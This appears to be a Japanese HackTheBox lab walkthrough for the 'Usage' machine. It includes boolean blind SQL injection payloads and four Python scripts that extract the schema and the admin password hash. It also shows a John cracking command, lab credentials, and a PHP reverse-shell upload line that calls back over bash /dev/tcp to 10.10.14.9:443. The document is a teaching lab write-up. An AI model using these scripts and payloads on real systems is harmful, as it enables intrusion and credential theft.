> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Usage HackTheBox攻略記事

サブドメイン列挙、SQLI - Booleanベースのブラインドインジェクション（手動）+ BurpSuiteのヒント、SQLI悪用のためのPythonスクリプト作成、ハッシュクラック、

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
スキル:

* サブドメイン列挙
* SQLインジェクション - ブールベースのブラインドインジェクション（手動）＋Burp Suiteのコツ
* SQLインジェクションを悪用するためのPythonスクリプティング
* ハッシュのクラック
* Laravel-adminの悪用（ファイルアップロードを悪用したRCE）
* バイナリ解析（GHIDRA）
* Sudoers権限とカスタムバイナリを悪用してrootのSSH秘密鍵を取得する（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15b21c0450116e3e0269d78dc5df968bd2c0246d%2Fimage%20(1134).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5d367809a029cbb14a854d7c3055add6113ce93%2Fimage%20(1135).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a27e4986b68ae59a0ab8255cfd0d36d6ce28c9f9%2F%7BD21E61C5-F575-4833-8519-56ADE5732D9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーする（21,22,80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-890bf92cb3870eb06b529cf1e74e1fac947df8ab%2F%7BAF5F5CA2-EFBC-4F7E-A43F-98F59F4A2246%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-406f50f398811c1e7aedd3506542c4395f547e67%2F%7B0205AB49-C643-4D67-99F8-4935FDF6BA35%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

### ポート80:

ポート80では、登録セクションで架空のメールアドレス「`test@test.com`」を登録セクションで使用します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0712de8f3c6c9fc39cbfb05d73fc6726d7232c%2F%7BB0B7A0B7-F05B-4487-A90F-D1E9B6E553CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 脆弱性 [SQLインジェクション](/ja/web/sql-injection.md):

SQLインジェクションの脆弱性があるパスワードリセットパネルを見つけます

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b53c33525c6d3d9a8bd94be4bab7925b3a9cd30d%2F%7B26044F45-FC1F-48DD-8002-77C0FB269074%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

。Burp Suiteでリクエストを傍受すると、メッセージ「*パスワードをメールで送信しました*".

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3177094706bec286c9aba357b48ef1da55956fc7%2Fimage%20(1136).png?alt=media" alt=""><figcaption></figcaption></figure>

基本的なSQLインジェクションを試すと成功し、同じエラーメッセージが再び表示され、インジェクションが機能していることが確認できます。基本的な注入テストは次のとおりです:

`iojfeifif' or 1=1-- -`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a340e1c72e0e66ba6f618de26df0a5e25843973%2F%7B4391472C-0C07-42D1-B767-8A1511387D49%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### SQLiの条件付きレスポンス:

> SQLクエリの結果は返されず、エラーメッセージも表示されませんが、クエリが何らかの行を返すと、アプリケーションはページ上に「パスワードをメールで送信しました」というメッセージを表示します。

この仮定を、次の `substring` 関数を使ってデータベース名の最初の文字を取り出す条件付きインジェクションで確認します。

注入例:

* データベース名の1文字目をテストする:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* データベース名の2文字目をテストする:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b266008d7400500d063c1836e082ac5d316ce1c5%2Fimage%20(1137).png?alt=media" alt=""><figcaption></figcaption></figure>

### データベース名の列挙:

特定のペイロードを送信し、サーバーが「パスワードをメールで送信しました」という応答を表示したときに結果を取得するPythonスクリプトを使って、データベース名の特定を自動化します。

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 終了シグナルを処理
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

# Ctrl + C で終了
signal.signal(signal.SIGINT, def_handler)

# 拡張文字セット（必要に応じて特殊文字を追加）
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # ペイロードを使ってPOSTリクエストを送信
            r = requests.post(main_url, headers=headers, data=payload)

            # 現在テスト中の文字をリアルタイムで表示
            p1.status(f"Testing position {position}: {character}")

            # 正しい文字を確認するため、サーバーからの特定の応答を確認
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # この位置で文字が見つかったら、次の位置へ進む
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b6ca818cd5433035797610c91e599561dd966de%2Fimage%20(1138).png?alt=media" alt="" width="440"><figcaption></figcaption></figure>

### データベースの列挙:

ペイロードを変更して、サーバー上に存在するすべてのデータベースを列挙します。次の `group_concat` 関数の `information_schema.schemata` データベースを使って、利用可能なすべてのデータベースを取得します。この手順により、存在するすべてのデータベースを見つけることができます。

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 終了シグナルを処理
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

# Ctrl + C で終了
signal.signal(signal.SIGINT, def_handler)

# 拡張文字セット（必要に応じて特殊文字を追加）
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # ペイロードを使ってPOSTリクエストを送信
            r = requests.post(main_url, headers=headers, data=payload)

            # 現在テスト中の文字をリアルタイムで表示
            p1.status(f"Testing position {position}: {character}")

            # 正しい文字を確認するため、サーバーからの特定の応答を確認
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # この位置で文字が見つかったら、次の位置へ進む
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2db74325ff348b02756fbb13a1560f9acbdb994%2F%7B0924BE89-8289-43C8-B1E6-365D9CEB6985%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### のテーブル一覧 `usage_blog` データベース:

データベースを見つけた後、 `usage_blog` そのデータベース内のテーブルを列挙するために、ペイロードを再度変更します。次の `group_concat` 関数を使って、 `usage_blog` データベース内のすべてのテーブル名を取得します。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 終了シグナルを処理
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

# Ctrl + C で終了
signal.signal(signal.SIGINT, def_handler)

# 拡張文字セット（必要に応じて特殊文字を追加）
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # ペイロードを使ってPOSTリクエストを送信
            r = requests.post(main_url, headers=headers, data=payload)

            # 現在テスト中の文字をリアルタイムで表示
            p1.status(f"Testing position {position}: {character}")

            # 正しい文字を確認するため、サーバーからの特定の応答を確認
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # この位置で文字が見つかったら、次の位置へ進む
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b46a64c7b718776df73e9983c1a7a958afa04182%2Fimage%20(1139).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### のカラム列挙 `admin_users` テーブル:

テーブルが特定できたら、 `admin_users` そのテーブルのカラムを列挙するために `group_concat` 関数を再度使って、この特定のテーブルのカラム名を取得します。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)
 )='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 終了シグナルを処理
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

# Ctrl + C で終了
signal.signal(signal.SIGINT, def_handler)

# 拡張文字セット（必要に応じて特殊文字を追加）
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # ペイロードを使ってPOSTリクエストを送信
            r = requests.post(main_url, headers=headers, data=payload)

            # 現在テスト中の文字をリアルタイムで表示
            p1.status(f"Testing position {position}: {character}")

            # 正しい文字を確認するため、サーバーからの特定の応答を確認
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # この位置で文字が見つかったら、次の位置へ進む
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6acac067804c8bbf592d3eeb554149f0c5cd3dca%2F%7BD9220E36-AABF-4AC0-9878-A581F4B69EED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 表示 `username` および `パスワード`:

の中のユーザーIDとパスワードを表示するには、 `admin_users` テーブルでは、SQLクエリを連結するように変更します `username` および `パスワード` フィールド

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 終了シグナルを処理
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

# Ctrl + C で終了
signal.signal(signal.SIGINT, def_handler)

# 拡張文字セット（必要に応じて特殊文字を追加）
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # ペイロードを使ってPOSTリクエストを送信
            r = requests.post(main_url, headers=headers, data=payload)

            # 現在テスト中の文字をリアルタイムで表示
            p1.status(f"Testing position {position}: {character}")

            # 正しい文字を確認するため、サーバーからの特定の応答を確認
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # この位置で文字が見つかったら、次の位置へ進む
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939cc0c88478d003f71c003e8c56c78c274f6b2%2F%7B8CE976F0-7703-4875-8A74-A1BDB5EB3AEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Johnによるパスワードクラック:

パスワードハッシュを取得したら、 **John** 次のような辞書でクラックするために使用できます **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7e86fd66b218596058217bcfab80e3b68dbe182%2Fimage%20(1140).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 管理者パネル:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be96acbb0454d8463671781f3aff1bd83c78a989%2F%7B3EE46AEE-53ED-4C4E-8C0B-2B9B26762027%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

資格情報が見つかれば、 `/etc/hosts` ファイルに `admin.usage.htb` エントリを追加することで管理者パネルに接続できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c61b188da2b136077a2f374a710fc676ddec8bcd%2F%7B89C865F0-B2DF-4986-B392-D99CEAB9DF7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 脆弱なファイルアップロード（Laravel-admin）

Laravel-adminアプリケーションでは、アバターをアップロードできるセクションがあります。この機能を悪用することで、悪意のあるファイルを送信してサーバーへの不正アクセスを得ることができます。

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d42a8da4e99e20f192f6c80a01e8aa491ca1b1ba%2Fimage%20(1110).png?alt=media" alt=""><figcaption></figcaption></figure>

### **手順:**

1. **アバターファイルの傍受と改ざん**:
   * Burp Suite でリクエストを傍受します。
   * 変数の値を変更して `filename` 偽の画像ファイルの後にPHP拡張子を追加します。たとえば: `hack.jpg.php`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-453809b98f33be8a8611ab63b1667393f6df50d8%2Fimage%20(1115).png?alt=media" alt=""><figcaption></figcaption></figure>

* ファイルの内容は、次のようなリバースシェルである必要があります:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d2a43d8774f237ae69e5eded925060fddcc7aba%2Fimage%20(1114).png?alt=media" alt=""><figcaption></figcaption></figure>

**Netcatで待受**:

* Netcatでポート443の待受を開始します:

```bash
nc -nlvp 443 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f70ebe6c8a42e241ed7ab3a9e52c595ef5c63357%2Fimage%20(1116).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

シェルセッションをより対話的にするため、次のコマンドを実行します:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d72ebb3c4cb66f4c704a7fd724dffa6786213602%2Fimage%20(1117).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格：

### 情報漏えい

ユーザーのディレクトリ内に `dash`、ファイル `.monitrc` にアクセスでき、機密情報が含まれています

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70026945372145d7ad057e6bc5adfca46eeb302a%2Fimage%20(1118).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d85d8ca43d518a9d035a8b2f4d64aa40372104%2Fimage%20(1119).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

このパスワードはユーザーに対応しています `XANDER`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb3a575cbc5174fde9b0d5a4096b05a402e15522%2Fimage%20(1120).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Sudoersバイナリの悪用:

次の `sudo -l` ユーザーとしてコマンド `xander`、次を実行できる可能性があることがわかります: `usage_management` バイナリを3つのオプションで:

1. *`プロジェクトバックアップ`*
2. *`MySQLデータのバックアップ`*
3. *`管理者パスワードをリセット`*

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36ffeca4f10686e40972f5f01a91a753fb0cc11f%2Fimage%20(1121).png?alt=media" alt=""><figcaption></figcaption></figure>

